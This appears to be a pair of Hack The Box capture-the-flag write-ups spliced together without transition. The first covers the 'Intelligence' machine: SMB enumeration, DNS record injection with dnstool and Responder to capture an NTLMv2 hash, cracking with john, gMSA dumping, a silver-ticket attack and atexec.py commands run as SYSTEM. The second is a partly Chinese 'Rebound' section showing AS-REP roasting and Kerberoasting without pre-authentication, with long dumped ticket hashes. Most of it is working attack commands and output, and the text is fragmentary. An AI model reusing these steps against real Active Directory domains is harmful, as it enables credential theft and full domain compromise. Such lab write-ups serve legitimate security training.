[\] Working on it... [+] IP: intelligence.htb:445 Name: unknown [-] Working on it... Disk Permissions Comment ---- ----------- ------- ADMIN$ NO ACCESS Remote Admin C$ NO ACCESS Default share IPC$ READ ONLY Remote IPC .\IPC$\* fr--r--r-- 3 Sun Dec 31 23:58:45 1600 InitShutdown fr--r--r-- 4 Sun Dec 31 23:58:45 1600 lsass fr--r--r-- 3 Sun Dec 31 23:58:45 1600 ntsvcs fr--r--r-- 3 Sun Dec 31 23:58:45 1600 scerpc fr--r--r-- 1 Sun Dec 31 23:58:45 1600 Winsock2\CatalogChangeListener-39c-0 fr--r--r-- 3 Sun Dec 31 23:58:45 1600 epmapper fr--r--r-- 1 Sun Dec 31 23:58:45 1600 Winsock2\CatalogChangeListener-1b8-0 fr--r--r-- 3 Sun Dec 31 23:58:45 1600 LSM_API_service fr--r--r-- 3 Sun Dec 31 23:58:45 1600 eventlog fr--r--r-- 1 Sun Dec 31 23:58:45 1600 Winsock2\CatalogChangeListener-394-0 fr--r--r-- 3 Sun Dec 31 23:58:45 1600 atsvc fr--r--r-- 4 Sun Dec 31 23:58:45 1600 wkssvc fr--r--r-- 1 Sun Dec 31 23:58:45 1600 Winsock2\CatalogChangeListener-258-0 fr--r--r-- 1 Sun Dec 31 23:58:45 1600 Winsock2\CatalogChangeListener-4e8-0 fr--r--r-- 1 Sun Dec 31 23:58:45 1600 Winsock2\CatalogChangeListener-258-1 fr--r--r-- 3 Sun Dec 31 23:58:45 1600 RpcProxy\49677 fr--r--r-- 3 Sun Dec 31 23:58:45 1600 01c597a227e270af fr--r--r-- 3 Sun Dec 31 23:58:45 1600 RpcProxy\593 fr--r--r-- 5 Sun Dec 31 23:58:45 1600 srvsvc fr--r--r-- 3 Sun Dec 31 23:58:45 1600 efsrpc fr--r--r-- 3 Sun Dec 31 23:58:45 1600 netdfs fr--r--r-- 1 Sun Dec 31 23:58:45 1600 vgauth-service fr--r--r-- 1 Sun Dec 31 23:58:45 1600 Winsock2\CatalogChangeListener-240-0 fr--r--r-- 3 Sun Dec 31 23:58:45 1600 W32TIME_ALT fr--r--r-- 3 Sun Dec 31 23:58:45 1600 cert fr--r--r-- 1 Sun Dec 31 23:58:45 1600 Winsock2\CatalogChangeListener-9f0-0 fr--r--r-- 1 Sun Dec 31 23:58:45 1600 Winsock2\CatalogChangeListener-a7c-0 fr--r--r-- 1 Sun Dec 31 23:58:45 1600 PIPE_EVENTROOT\CIMV2SCM EVENT PROVIDER fr--r--r-- 1 Sun Dec 31 23:58:45 1600 Winsock2\CatalogChangeListener-a50-0 IT READ ONLY .\IT\* dr--r--r-- 0 Mon Apr 19 01:50:58 2021 . dr--r--r-- 0 Mon Apr 19 01:50:58 2021 .. fr--r--r-- 1046 Mon Apr 19 01:50:58 2021 downdetector.ps1 NETLOGON READ ONLY Logon server share .\NETLOGON\* dr--r--r-- 0 Mon Apr 19 01:42:14 2021 . dr--r--r-- 0 Mon Apr 19 01:42:14 2021 .. SYSVOL READ ONLY Logon server share .\SYSVOL\* dr--r--r-- 0 Mon Apr 19 01:42:14 2021 . dr--r--r-- 0 Mon Apr 19 01:42:14 2021 .. dr--r--r-- 0 Mon Apr 19 01:42:14 2021 intelligence.htb Users READ ONLY .\Users\* dw--w--w-- 0 Mon Apr 19 02:20:26 2021 . dw--w--w-- 0 Mon Apr 19 02:20:26 2021 .. dr--r--r-- 0 Mon Apr 19 01:18:39 2021 Administrator dr--r--r-- 0 Mon Apr 19 04:16:30 2021 All Users dw--w--w-- 0 Mon Apr 19 03:17:40 2021 Default dr--r--r-- 0 Mon Apr 19 04:16:30 2021 Default User fr--r--r-- 174 Mon Apr 19 04:15:17 2021 desktop.ini dw--w--w-- 0 Mon Apr 19 01:18:39 2021 Public dr--r--r-- 0 Mon Apr 19 02:20:26 2021 Ted.Graves dr--r--r-- 0 Mon Apr 19 01:51:46 2021 Tiffany.Molina
We have access to few of the shares so let’s try and access those.
User.txt
1 2 3 4 5 6 7 8 9 10 11
┌──(root💀kali)-[~/hackthebox/machine/intelligence] └─# smbclient //intelligence.htb/Users -U 'Tiffany.Molina' Enter WORKGROUP\Tiffany.Molina's password: Try "help" to get a list of possible commands. smb: \> cd Tiffany.Molina\Desktop\ smb: \Tiffany.Molina\Desktop\> get user.txt getting file \Tiffany.Molina\Desktop\user.txt of size 34 as user.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec) smb: \Tiffany.Molina\Desktop\> quit ┌──(root💀kali)-[~/hackthebox/machine/intelligence] └─# cat user.txt 6fd023d238f2d2a63ecb521504fc1dd3
Now you have user.txt
PrivESC
Enumeration
The share that looked intresting to me was IT, so let’s look into that.
1 2 3 4 5 6 7 8 9 10 11 12
┌──(root💀kali)-[~/hackthebox/machine/intelligence] └─# smbclient //intelligence.htb/IT -U 'Tiffany.Molina' Enter WORKGROUP\Tiffany.Molina's password: Try "help" to get a list of possible commands. smb: \> ls . D 0 Sun Apr 18 20:50:55 2021 .. D 0 Sun Apr 18 20:50:55 2021 downdetector.ps1 A 1046 Sun Apr 18 20:50:55 2021 3770367 blocks of size 4096. 1463495 blocks available smb: \> get downdetector.ps1 getting file \downdetector.ps1 of size 1046 as downdetector.ps1 (1.3 KiloBytes/sec) (average 1.3 KiloBytes/sec)
Looks like we have a powershell script let’s explore it.
1 2 3 4 5 6 7 8 9 10
# Check web server status. Scheduled to run every 5min Import-Module ActiveDirectory foreach($recordinGet-ChildItem"AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb" | Where-Object Name -like"web*") { try { $request = Invoke-WebRequest-Uri"http://$($record.Name)"-UseDefaultCredentials if(.StatusCode -ne200) { Send-MailMessage-From'Ted Graves <Ted.Graves@intelligence.htb>'-To'Ted Graves <Ted.Graves@intelligence.htb>'-Subject"Host: $($record.Name) is down" } } catch {} }
Looks like we have the cronjob kind of thing running every five minutes we can see that it makes a request to webserver if we can bypass the check for validation which will be pretty easy as it uses web* as validation so not much problem there.
Now so I think that if we can add a dns in the record we can get the Ted.Graves hash using responder.
Basically the login behind this is simple we add the dns record and then the Ted will see if that record responds back or not and as soon as Ted checks that record we will get his hash in responder.
[+] Poisoning Options: Analyze Mode [ON] Force WPAD auth [OFF] Force Basic Auth [OFF] Force LM downgrade [OFF] Fingerprint hosts [OFF]
[+] Generic Options: Responder NIC [tun0] Responder IP [10.10.14.14] Challenge set [1122334455667788] Don't Respond To Names ['ISATAP'] [i] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned. [Analyze mode: ICMP] You can ICMP Redirect on this network. [Analyze mode: ICMP] This workstation (10.10.14.14) is not on the same subnet than the DNS server (<--SNIP--->). [Analyze mode: ICMP] Use `python tools/Icmp-Redirect.py` for more details. [Analyze mode: ICMP] You can ICMP Redirect on this network. [Analyze mode: ICMP] This workstation (10.10.14.14) is not on the same subnet than the DNS server (<---SNIP---->). [Analyze mode: ICMP] Use `python tools/Icmp-Redirect.py` for more details. [+] Listening for events..
Now let’s try and use dnstool to deal with DNS records. you can find the dnstool over here.
krbrelayx
You can install it like below.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
kali@kali:~/HackTheBox/Intelligence$ git clone https://github.com/dirkjanm/krbrelayx.git Cloning into 'krbrelayx'... remote: Enumerating objects: 98, done. remote: Total 98 (delta 0), reused 0 (delta 0), pack-reused 98 Unpacking objects: 100% (98/98), 65.74 KiB | 474.00 KiB/s, done. kali@kali:~/HackTheBox/Intelligence$ cd krbrelayx/ kali@kali:~/HackTheBox/Intelligence/krbrelayx$ ls addspn.py dnstool.py krbrelayx.py lib LICENSE printerbug.py README.md ┌──(root💀kali)-[~/krbrelayx] └─# python3 dnstool.py -u 'intelligence.htb\Tiffany.Molina' -p 'NewIntelligenceCorpUser9876' -a add -r 'weboops.intelligence.htb' -d 10.10.14.6 10.10.10.248 [-] Connecting to host... [-] Binding to host [+] Bind OK /root/krbrelayx/dnstool.py:241: DeprecationWarning: please use dns.resolver.Resolver.resolve() instead res = dnsresolver.query(zone, 'SOA') [-] Adding new record [+] LDAP operation completed successfully
Now we our record in DNS so let’s wait for hash in responder. Note this may take up to 5 mins so be patient.
Now we have the hash for Ted.Graves let’s try and crack it. Over here I have used john you can also use hashcat for the same and there are also online cracker if you prefer that.
1 2 3 4 5 6 7 8 9 10
kali@kali:~/HackTheBox/Intelligence/krbrelayx$ sudo john hash --wordlist=/usr/share/wordlists/rockyou.txt [sudo] password for kali: Using default input encoding: UTF-8 Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64]) Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status Mr.Teddy (Ted.Graves) 1g 0:00:00:23 DONE (2021-07-04 18:17) 0.04170g/s 450978p/s 450978c/s 450978C/s Mrz.deltasigma..Mr BOB Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably Session completed
Now we have the password for Ted.Graves So let’s enumerate the ldap as we already know we don’t have much on share. I got this tool from the link
we have a hash but unfortunately it’s not in rockyou.txt
1 2 3 4 5 6 7
kali@kali:~/HackTheBox/Intelligence/gMSADumper$ sudo john new --wordlist=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (NT [MD4 128/128 SSE2 4x3]) Warning: no OpenMP support for this hashtype, consider --fork=2 Press 'q' or Ctrl-C to abort, almost any other key for status 0g 0:00:00:04 DONE (2021-07-04 18:30) 0g/s 3431Kp/s 3431Kc/s 3431KC/s markinho..*7¡Vamos! Session completed
So now the other option is to get the kerberos ticket using that hash. Famously or INFamously known as silver ticket attack on AD. So you can search Silver Ticket attack on Active Directory to learn more. Let’s try that.
[*] Getting TGT for user Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
It gives me error for the clock skew which is normal if you are familiar with Active Directory you just have to sync time between the server and machine. So let’s use ntpdate to do that. if you don’t have ntpdate you can install it using
1
sudo apt-get install ntpdate
then run the command
1
sudo ntpdate 10.10.10.248
Now the clock skew has been fixed let’s try silver ticket attack again. If the time doesn’t change try the following
[!] This will work ONLY on Windows >= Vista [*] Creating task \krUvePvx [*] Running task \krUvePvx [*] Deleting task \krUvePvx [*] Attempting to read ADMIN$\Temp\krUvePvx.tmp nt authority\system ┌──(root💀kali)-[~/hackthebox/machine/intelligence] └─# python3 atexec.py -k -no-pass dc.intelligence.htb 'type C:\Users\Administrator\Desktop\root.txt' Impacket v0.9.23.dev1+20210504.123629.24a0ae6f - Copyright 2020 SecureAuth Corporation
[!] This will work ONLY on Windows >= Vista [*] Creating task \ocxiGfwW [*] Running task \ocxiGfwW [*] Deleting task \ocxiGfwW [*] Attempting to read ADMIN$\Temp\ocxiGfwW.tmp 5a582f5f16388c9959ef6d4b3dcbe914
Summary of knowledge
SMB enumeration
LDAP enumeration
write python script to batch download and extract data
brute Kerberos by using kerbrute and crackmapexec
add dns record by using krbrelayx’s dnstool then use responder get NTLMv2 Hash
crack NTLMv2 hash with john
use gMSADumper get svc_int’s hash
sync time between the server and machine by using ntpdate and chrony
use getST.py to get Administrator.ccache to perform a Silver Ticket attack
use smbclient.py or atexec.py and Silver Ticket to get user and root flag
Contact me
QQ: 1185151867
twitter: https://twitter.com/fdlucifer11
github: https://github.com/FDlucifer
I’m lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more…
PORT STATE SERVICE 53/tcp open domain 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 5985/tcp open wsman 9389/tcp open adws 47001/tcp open winrm 49664/tcp open unknown 49665/tcp open unknown 49666/tcp open unknown 49667/tcp open unknown 49671/tcp open unknown 49674/tcp open unknown 49675/tcp open unknown 49676/tcp open unknown 49681/tcp open unknown 49688/tcp open unknown 49724/tcp open unknown 55738/tcp open unknown
PORT STATE SERVICE VERSION 53/tcp open domain? | fingerprint-strings: | DNSVersionBindReqTCP: | version |_ bind 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-03-17 23:09:17Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: rebound.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: | Subject Alternative Name: DNS:dc01.rebound.htb | Not valid before: 2023-08-25T22:48:10 |_Not valid after: 2024-08-24T22:48:10 |_ssl-date: 2024-03-17T23:11:51+00:00; -1s from scanner time. 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: rebound.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: | Subject Alternative Name: DNS:dc01.rebound.htb | Not valid before: 2023-08-25T22:48:10 |_Not valid after: 2024-08-24T22:48:10 |_ssl-date: 2024-03-17T23:11:50+00:00; -2s from scanner time. 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: rebound.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: | Subject Alternative Name: DNS:dc01.rebound.htb | Not valid before: 2023-08-25T22:48:10 |_Not valid after: 2024-08-24T22:48:10 |_ssl-date: 2024-03-17T23:11:51+00:00; -1s from scanner time. 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: rebound.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: | Subject Alternative Name: DNS:dc01.rebound.htb | Not valid before: 2023-08-25T22:48:10 |_Not valid after: 2024-08-24T22:48:10 |_ssl-date: 2024-03-17T23:11:50+00:00; -2s from scanner time. 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 9389/tcp open mc-nmf .NET Message Framing 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port53-TCP:V=7.80%I=7%D=3/17%Time=65F77824%P=x86_64-pc-linux-gnu%r(DNSV SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\ SF:x04bind\0\0\x10\0\x03"); Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPC NETLOGON Disk Logon server share Shared Disk SYSVOL Disk Logon server share Reconnecting with SMB1 for workgroup listing. do_connect: Connection to 10.10.11.231 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND) Unable to connect with SMB1 -- no workgroup available
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User Guest doesn't have UF_DONT_REQUIRE_PREAUTH set [-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked) [-] User DC01$ doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User ppaul doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User llune doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User fflock doesn't have UF_DONT_REQUIRE_PREAUTH set $krb5asrep$23$jjones@REBOUND.HTB:95d51957aa3771dacc1664c6236c4055$d434f84d1d47433e95073960ed2980c385ae8f830686ef69bc2c0d9b23e197a2901986f89105ff750b722e9cb7086ad9d13c924e41e182cc4e8e0e646838397aa50e33c6356b24f860b4791cdaec04d57bc3f2734ab7749e42073aadfb097ea24a55dd4ae56f68d7f8cba78d1cdb8dcbeedb63f6c11dd6a813d6729a8c76666d9ff687a06b84fb1e6abdb4b92c9b372f44f0c8682f3f36dec2118efa0b81952041c2d180a8ebe0c77d47ea5da4344d1897d1f5b3b92e1618a39ebb94c0e55c457f84d5952f226890e2b1091dc656eb1e1ff16cbf4bb5a288683ea55e64c9491212260953e3574dfd0b9b [-] User mmalone doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User nnoon doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User ldap_monitor doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User oorend doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User winrm_svc doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User batch_runner doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User tbrady doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User delegator$ doesn't have UF_DONT_REQUIRE_PREAUTH set
jjones返回一个加密的TGT。不幸的是,它似乎无法破解
最近的New Attack Paths? AS Requested Service Tickets表明,可以利用AS-REP-roastable用户来执行Kerberoasting,而无需预身份验证:
对这种攻击的支持是在Support for Kerberoasting without pre-authentication and ST request through AS-REQ #1413中提交的,并且已经合并到当前的Impacket主分支中,但在本文时还没有作为正式版本推出。因此,将使用一个支持这种攻击的impacket github分支,以及本文后面需要的其他一些攻击操作。所有与impack相关的命令都将使用此版本的工具执行。
(impacket-fork) [root@kali ~ ]$ GetUserSPNs.py -no-preauth jjones -request -usersfile /root/hackthebox/machine/rebound/usernames.txt rebound.htb/ -dc-ip 10.10.11.231 /root/impacket-fork/bin/GetUserSPNs.py:4: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html __import__('pkg_resources').run_script('impacket==0.10.1.dev1+20231106.134307.9aa93730', 'GetUserSPNs.py') Impacket for Exegol - v0.10.1.dev1+20231106.134307.9aa93730 - Copyright 2022 Fortra - forked by ThePorgs
[-] Principal: Administrator - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database) [-] Principal: Guest - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database) $krb5tgs$18$krbtgt$REBOUND.HTB$*krbtgt*$b7f4495dad8442753f659146$228b6f2a0f7a0b5319fe1c223e915352d84fa0fd83915cfe9d57a41915382f4413af126465af63450eff3f05284915e8dcbf94af88b3888cacdcac941de7981f3aa5246439f4186434e91be539bbefc017b1a6a13b07f996ae068586469ba1b8cfffb1091eeb7ed5480623478bd25e66c26d8893a1eff939d7f475549866856701801e2bdde297cf4030a0131532261136f738dff5d0e77fae4da3c64c9e5589a1a4349b88c7b97b75621350a0e6fe2d191c7b7a52dbc478e9442da0e4008007838cb14695bcc7a98bdb7c68a70fce74d5748fd13d017235cb451326443f100642e6c09570df22795bca436d292b3014e8d10a0c3fbb50911e6b88bb66b2232420d0eaace34f6aaf9847f5e684380de41ae1b70f4a975fa0acf8b2b5dbebff865232a3aba195f72dac905dba0ea55182f10cd6ccda43978273a4fae20b424c4414a2cd6b1e385637759db2a8e832e1d0e4c44207d97c16acad3e20e32b6b46d256023d8641207a419ca9fb23fcb995adfda0394405bb77a8d4d3d8a4ba22ae2370f7fa93b84827e4496537b22170d9f8af84b3c591a1759873114b6d4de1f984e25a2cd70e34a4bc33b956c74185aab15d844dda9f9b391bd0a017d3c836df34b7c9312a943e91dc956d20661fe752b4763dc2ed6a3e5bfb7d09f1546fd04b6d8577bce8781904491428db21c4e7acf83a359187f44b3bccca0e8c40dcef5541f1ffc767156411d96f6cf1746783b893605779d888b5ee1965a16d6304bac92942a95c66823af762bb8572ccb2ac1382f9002f3eb73ba82cafa13a5ee71fbd720ed8f966a03f5bc67201115a3a1c48db47177a9f4b95937191c42d33b14663e4d4c5d5093b523f92bd82d4087805e0c4c40cef24e63a3219d9a220a74dbb127bd29548a3d7c7c51475dd01feda149b79a1c2f0fdd4dfa40f24db7384bca5057dbf75b552b80551fddf73af319ee5afa5f88420e93e8e04247d3829105d00486424971b0b323da8cdbfc0d110ce1773346bfe2a0cd8b045b978848a48ae3b5d448f3baa4efbef9dcf337238211891e148a7f4d329f98f80039a926a25104e0211bfae00a1ba047897d9ad6149ae47031884879271cae4ee75b59fad20a90313ebc3bcf52002a8cca08a33282d809d5b52a5a5a49c7177161b760f3ed0b6178efbea5bd913efd2a941cba7a9458ab179f875a33447693664ce1ee28baa1cd5ea0fe48cb7b13411a953c5f78a9cce432028a67752a4734527898d74db5416390011305a2907fd2e8f5b38b4b647e32280ad835ad19bc5c1dc86f2f39e28ce305839365bc13e02b0b91ce0de3434f17056a3f68d2ebd62ca9bd3ab1a88f49769e75ae1cb38dd42ae74707f9af972bb068562d91ef79d7c335e5fa2b438778b9ab00f297899361591be01b1ebc128b37dff595e8bb1e0f028f9c7632b012d352e81c0b5660c2a6ef0a1a42967b7fae4c1abd09279 $krb5tgs$18$DC01$$REBOUND.HTB$*DC01$*$676eaed2d439c42a6527e613$edbd46f85fd04d663029ae0f38a60b6c4387f102e74f1c6f7afb3bcf7cfaf403315e95c3d44cfe92ad358163b825a5ec208914a3c57de024598f67a0e22c81cc12503d0d3d5c30d0af43fd829bad743551438c0ba471470f87f1d0d9b0f3679f5579698d805d16042bcf109d7eda65e2f7d11f82fb62fef7e437dc9a9f26ea6043475bab07bdc9f6ddd824550085b1fc4dfa5b8751efabf603c8b435f76c598cc492e0d01915068ea6137ada5233bd8446e81878206f757c1562e71ff7821c546a81117a5b7a0af14092f392d652c480236cc0c88a35dbe34ca858c5150756d6d75035265124659f99e107776d976b7b9cc93d1b6deba493c20e7782ce69f12a344b0559ba2a0db7a2febe7da4daa6d90f36f97250ce16191a758ee264a7c16803baafe2f767724c0f7c87525378ab80f7c63fdcf2ea6b27e1a7b7c774597f56efc798443e280621eb7506b12a54ece0cbca159f301767c76d97503b87c9a448d846901cbff3d2d28377b91a979e5349a591f11f23420853cd328b7446d13c60b1eeb701711fbe10cadbc13c6a35f5eed5de082adc6f2d20a4a7843c777a6709747c13bedaa1f3324bfce2f3593b3190c39afcce51426f8a1eff6c773d0100388505cffb856c083ece4f6331d06d1a57124bf220b639ac2c2dda020fc164845f9e53a529c7e135cdcfca76952b7ea35a463a04087f9af87e0fa025e033d3c986736c44dfa2f380b865e0ff970ad40abe53b9c8f1e166a7feea936fa9ff886217e50f8f8b4a55fc01bf26914c419adec47233c47a9bcf851aaf0c1f9c2e345459fe5ab037d6cbe457ff89e215ff91b8777b5e39422c5a884746e3176711897dae50f7ef0ccb6ff68ee602bf12902a2fb498f5e83196f9e1f9b07670c3264c2cd86161190e74563acd4140f2423b40a7436a0660338613796562de436a7a8445d5bdc5916873da5368749e9562317ff6f11e984b785a6dd96033270955599b0cd07cd6056a8ae4ae2a77402066306feed7280f063e7917df669a6abad3dec14ad87251a1145a6c3b3db3d4eb9e889846bc3a8daa27eac9dd0c144f90de20b6c258f47321bf7505bc290d0d4d719ff2438fd3b123dcaaa2be8f57e8d0596a11cc0b4f0e91c2950daf39a4cf712f40f23c9506cee7000b8a3ed18002d79b0abe23c26e3a4ac586f5a9f075f8e7ea41e8d0f3c51aae863c6ecdcbb46442f8283d8c8e9e30dbb975024b1ccf485fa537e970945f9600230b7cc794cdd395efa6c2ebd270f8a60af6aaa4a1c6403dd42286ea15a3d80b7e810628cdb8f75783fecc0493218fc934ae89f0687cac4e09982d8e5716a30c05e67986892448f2528d3dd6291c282e82db4a131924e6 [-] Principal: ppaul - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database) [-] Principal: llune - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database) [-] Principal: fflock - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database) [-] Principal: jjones - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database) [-] Principal: mmalone - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database) [-] Principal: nnoon - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database) $krb5tgs$23$*ldap_monitor$REBOUND.HTB$ldap_monitor*$20941b976672bf739ab097ba01a8cfae$3a4367ed51eb98246925df381ddaf352c124bead33075606510e7a0a879a6a76ec2bdafc4cc5db9427d4ff5985a646b0bd20f666ab3e174dde613f4a9edd67c3d50631955fc2eb3fd69750a1c4da1642c9100bb187ab841ebe4766366462dd0fea6c8e05b14e862360ee97cd7637f3264ff4f3415eb353431cf8d8aed45afec6a3aaacf1e39dce01ef657213a50da924deca54853452d861fbc108ee0e49ecda8d698941b0d7151b3800149ef9937b668a9e76af6274f5e8c172dddfc916c53dd6e520b7e0edf95ab20729ad7f85ffeb218664f8dfd03a9c5addc226d3aba6ef054d2029c73c39cc3ca0fc895b329a9db84f699ef31b4fed7843749370971bbacc5f829b3721d16d182370ebcb728953d538cca54f908e0d5eb918eaeff7f2e2ee0b770736ccfb9aad2f725374c9057c9b8cb61d6cd262a93d997e1de62fe5c4a6b5c2bf80dd1bc8e4f82725516ab85a78d98fb87fcb7f78d61602f43f9b53c7463d7158d37f482c02178ef798b3b1badb4ae89e95f10363e82b373dd7d108f71c67768ce64a48388023190d0f7e6696946ad17ad5c3f3858081956f4ceae07da4fd80ccf6ef3b611a76fd51cf487fd3125f6c5e8ba9bc9c07f5fa1c1b1118af320d63425fdc28131b61bf1a5a6bc44b99506da168037a00dea3012d23818e1bf91cbe5bf6f4bae50d243d9a1b71a8de4cdace5c6b9557fb1c732b24507c41d1270f15e604fe7d4ca35b362e09bb75f41a8c070d9bc226e19ce50fa03e30f0907e43da8b063d0400fbb73494e010e7458a3d17e1b8cdd71e10d375a739bc47ef68234068caefafb4d932d755cef4f0c15a0883f35655fb552bb8157c54ab991773e6f349239abd8b0465e6a1c3710e34053b83a5e678b6c151162e1898f602579c85493a4561118e13b54245a8f11ac0e4e1515c8e49c3cf808fe3909b82d85b9ed08adf8fd8d7cdbcdd8419df7db382fb83c1b60ac147911cc1e36ec25daa024afa64d4b0b494271750157fc95cbb39bfa0d9f8f82bd2ca72a5b532b93423ed4e18548f622d0b58e75b15f474b13a167fe18a599dd2b85d0089598652b90d7143ed144dc87debf95ed91e9230ec9762649e1b684a3a2933eafc6e05cfa9c1c0beb61cbe0669bcc148dcc484a7b1f07c83c18203360efdc059f81dff14fcc5fea703f9eaaa51a1e7dec1e363d943c14965d14e76928f98c44e4882ecb4f990a6579e9fd031c50df44bc79fd68d79047c94f9eb8e6ccc1c77816d30ee6102309719e376309ad74ed19ca621e686a33277377b71e36d5d2e4163b352c846b5208f7ea97d2fa1f59b5ebbccc4b044c8b3f22b59192040530931ccc63c1607c1c35e04c0 [-] Principal: oorend - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database) [-] Principal: winrm_svc - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database) [-] Principal: batch_runner - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database) [-] Principal: tbrady - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database) $krb5tgs$18$delegator$$REBOUND.HTB$*delegator$*$6cab342633ff628cfcfac8c4$71fd68ad65f56c75f181aa22d1e803a739ff8f633f1096e1c59ac72c0cdaff8432bace2027c335b971a24d5f417ee30075f2996b2ae2e48698f9b30c9ba04891cb3ecffaba2f57aad6f6cee7a53aac3c301a6ba5689bae2c54a9ccc7f58d670ecebcac2234d0d22e5cfb48d4adc534fde9822464b980ee548ec9fecd7a42a225679fd2ec52bab1b0af038e2844489f2d2925e1b46dffed03e72fed1efcd84fb40029c17afec70e279209ca1383c9549bcdc80ab1f4aaa33f7665de2cef404ad8c3922bd1fcdd60371c8f0dbc72c65db6a40837cc6fae06c20a1999689788e67ea1a4cc7ec0ebff158090aeb2a8a2aaa64b3c6cf07c3a5dd84356f0733ae208ca4087f16f92306775f427e2fa11d4df609be59b58112177cba564bff5361f973693274529f5dac04139e8208467364d2b87404dc9cdda9daf3bf31eb53484d5afd414a7e3e4340d307079561b03b6bcce1547f4605ca96b5e1599d5681f2779222465ebae5911e3433208d3bc43240f77a3a757e02a7bdcbcf49d265622f85f2e525f902867665828d53768e169b0185548a7ddb7721541f974730b983fdb9b01ccb04561ac86264479c4e55a21cc51a39e36df0aeaa3cd983ecb453e964bc5b645211b6c0658188696a8ebc909999530b582ae8f3efa44924a86c4d705e473196d4edd1617a641f683cd4a7b8ff5436981d7b39d03a8bf189b238256ea7160f28bdb126a47f0dba95883d7c8f8e8e5acbc5562f8a08aa04ec03064b6bb215065f03028003f60782e5898b00f70086ab2a7718e3d382d8ffc73116b7ff2accba494b67bbbf0b7b0d1022ec0a7a00d78280380d208c8032edfd7d0e2bda779a4b4d513d90ac9c3395516bfd6fabe73ef6804d0a07c1bfe75b1a639fd671246ea4447cbeb392178382fee5321a2db0ce5dfabdb4d35e87c23b3668335a68bcaa9d22c45fedc9bc7b15af986196ff8353f618822e1fce7a07b85c38d20a19602a1b12d4bca45b92c671349073c629154aac7884cd7597ab80ccde050d6c349c280f7a9de6da94404b7600b0a55eefb2b132a093bd7574d367bb79e7bea8263a88882de510cf8d0e534678dddc6ab81dff055f1e56a1944f11a5a8a5b2e9ec20342cd1460544f63f1dbb6698dfd40a746828a8beded8056cb50765bb1dcffe8524536747556e2b3cf977aa32852c6579066383408c3917cc325a34d66f0c5f556d937dd7981485193a999fc669c756f4eb6ba354bac985ceb870e647a14e8afd70b1e52ec011ebb6c0f7b1b9e00e9b2f2548d0245185eedc967073c4f7f7b8ebc5c7775d4f1410e81f8999cfde4af7a61094d25d905b6800c7470d7e2324c01053e62cb20d5b10ac090c76d91
